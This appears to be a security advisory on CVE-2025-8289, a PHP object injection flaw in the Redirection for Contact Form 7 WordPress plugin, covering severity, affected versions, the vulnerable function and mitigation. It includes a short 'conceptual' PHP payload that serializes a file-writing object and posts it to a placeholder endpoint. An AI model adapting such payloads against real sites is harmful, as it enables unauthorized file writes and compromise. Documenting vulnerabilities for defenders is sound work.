Overview
The Redirection for Contact Form 7 plugin for WordPress, a widely used plugin, is vulnerable to PHP Object Injection. This vulnerability, identified as CVE-2025-8289, allows an unauthenticated attacker to potentially compromise a system or leak data. This report will detail the vulnerability, its potential impacts, and measures to mitigate the risk.
Vulnerability Summary
CVE ID: CVE-2025-8289
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
Redirection for Contact Form 7 Plugin for WordPress | <= 3.2.4 Redirection For Contact Form 7 Extension - Create Post | All versions How the Exploit Works
The Redirection for Contact Form 7 plugin for WordPress is vulnerable to PHP Object Injection via the delete_associated_files function. This vulnerability arises due to the deserialization of untrusted input. Unauthenticated attackers can exploit this vulnerability when a form with a file upload action is present on the site. The presence of the ‘Redirection For Contact Form 7 Extension – Create Post’ extension further makes the vulnerability exploitable. With a POP chain present via an additional plugin or theme, the attacker can take actions like deleting arbitrary files, retrieving sensitive data, or executing code.
Conceptual Example Code
A conceptual example of how the vulnerability might be exploited is shown below:
<?php
class Exploit {
function __destruct() {
file_put_contents('/path/to/arbitrary/file', 'Injected content');
}
}
$exploit = serialize(new Exploit());
$postdata = http_build_query(
array(
'form_data' => $exploit,
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://target.example.com/vulnerable/endpoint', false, $context);
?>Mitigation Guidance
To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating all plugins and themes can also reduce the risk of exploitation.
